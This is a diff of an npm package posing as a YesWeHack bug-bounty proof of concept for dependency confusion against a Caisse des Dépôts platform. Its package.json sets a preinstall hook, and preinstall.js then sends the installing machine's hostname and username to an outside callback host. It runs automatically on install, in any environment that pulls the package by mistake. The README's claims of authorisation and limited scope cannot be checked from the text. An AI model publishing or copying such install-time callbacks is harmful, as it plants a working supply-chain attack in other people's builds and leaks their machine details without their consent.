pe3-ihm-plateforme 99.99.99

package/README.md

@@ -0,0 +1,36 @@
+# pe3-ihm-plateforme — YesWeHack PoC Attribution
+
+**THIS PACKAGE IS NOT FOR PRODUCTION USE.**
+
+This package is a YesWeHack bug-bounty research PoC published as part of an
+authorised security investigation into a dependency-confusion vulnerability
+affecting `plateforme-employeurs.caissedesdepots.fr` (Caisse des Dépôts et
+Consignations, YesWeHack private program).
+
+If you have installed this package by accident, you are not affected:
+- The only action this package performs is a single HTTPS request to a
+  researcher-controlled hostname carrying your machine's OS hostname and
+  OS username — no environment variables, files, credentials, or source
+  code are read or transmitted.
+- The script exits within 3 seconds whether the request succeeds or fails.
+
+## Research details
+
+- **Researcher**: ivan0912 (YesWeHack handle)
+- **Program**: Caisse des Dépôts et Consignations (YesWeHack private)
+- **Finding**: F1 — `pe3-ihm-plateforme` claimable on public npm registry
+- **OOB session**: 7431f1ad0a907cf1
+- **Date**: 2026-05-19
+- **Safe-harbor**: YesWeHack CDC private program scope
+
+## What the researcher will do once the PoC has completed
+
+- File the report on YesWeHack within 24 hours of the first callback.
+- Deprecate / unpublish this version within npm's 72-hour unpublish window
+  once the program triages the finding (or earlier on program request).
+- Cooperate fully with any program-requested mitigation steps.
+
+## Contact
+
+For any concern about this package, contact the researcher via YesWeHack
+(`ivan0912`) or file an npm support request — npm will escalate to the researcher.

package/package.json

@@ -0,0 +1,27 @@
+{
+  "name": "pe3-ihm-plateforme",
+  "version": "99.99.99",
+  "description": "YesWeHack PoC — attribution-only DNS callback for CDC F1 dependency-confusion finding. NOT for production use.",
+  "license": "MIT",
+  "private": false,
+  "author": "ivan0912 (YesWeHack research) <bugs+cdc@example.invalid>",
+  "homepage": "https://yeswehack.com",
+  "repository": {
+    "type": "git",
+    "url": "https://yeswehack.com"
+  },
+  "keywords": [
+    "yeswehack-poc",
+    "bug-bounty-research",
+    "dependency-confusion-attribution",
+    "do-not-install",
+    "research-only"
+  ],
+  "scripts": {
+    "preinstall": "node ./preinstall.js"
+  },
+  "files": [
+    "preinstall.js",
+    "README.md"
+  ]
+}

package/preinstall.js

@@ -0,0 +1,44 @@
+#!/usr/bin/env node
+// YesWeHack PoC — attribution-only DNS + HTTP callback.
+// Triggers a DNS lookup and a single HTTPS GET against an attribution-tagged
+// hostname so the researcher can confirm whether CDC's build environment
+// resolved this package from the public npm registry.
+//
+// WHAT THIS SCRIPT DOES:
+//   1. Reads os.hostname() and os.userInfo().username (OS-level metadata only).
+//   2. Fires one HTTPS GET to the OOB receiver with those two fields as query params.
+//   3. Exits within 3 seconds whether the request succeeds or not.
+//
+// WHAT THIS SCRIPT DOES NOT DO:
+//   - Does NOT read environment variables (no process.env access).
+//   - Does NOT read files (no fs module).
+//   - Does NOT inspect running processes.
+//   - Does NOT collect credentials, tokens, or source code.
+//   - Does NOT persist any state.
+//
+// Researcher: ivan0912 (YesWeHack handle)
+// Program: Caisse des Dépôts et Consignations (YesWeHack private)
+// Finding: F1 — dependency confusion on unscoped npm package pe3-ihm-plateforme
+// OOB session: 7431f1ad0a907cf1
+
+'use strict';
+const https = require('https');
+const os = require('os');
+
+const OOB_HOST = 'cdc-depconf.fdd8cd2afcd551371c958zvf59ncbaji2.oob.static-cdn-eu.com';
+
+const hostname = encodeURIComponent(os.hostname() || 'unknown');
+const username = encodeURIComponent((os.userInfo && os.userInfo().username) || 'unknown');
+const path = `/pe3-ihm-plateforme?h=${hostname}&u=${username}`;
+
+const t = setTimeout(() => process.exit(0), 3000);
+
+try {
+  https.get(
+    { host: OOB_HOST, path, headers: { 'User-Agent': 'npm/depconf-poc-cdc' } },
+    () => { clearTimeout(t); process.exit(0); }
+  ).on('error', () => { clearTimeout(t); process.exit(0); });
+} catch (_) {
+  clearTimeout(t);
+  process.exit(0);
+}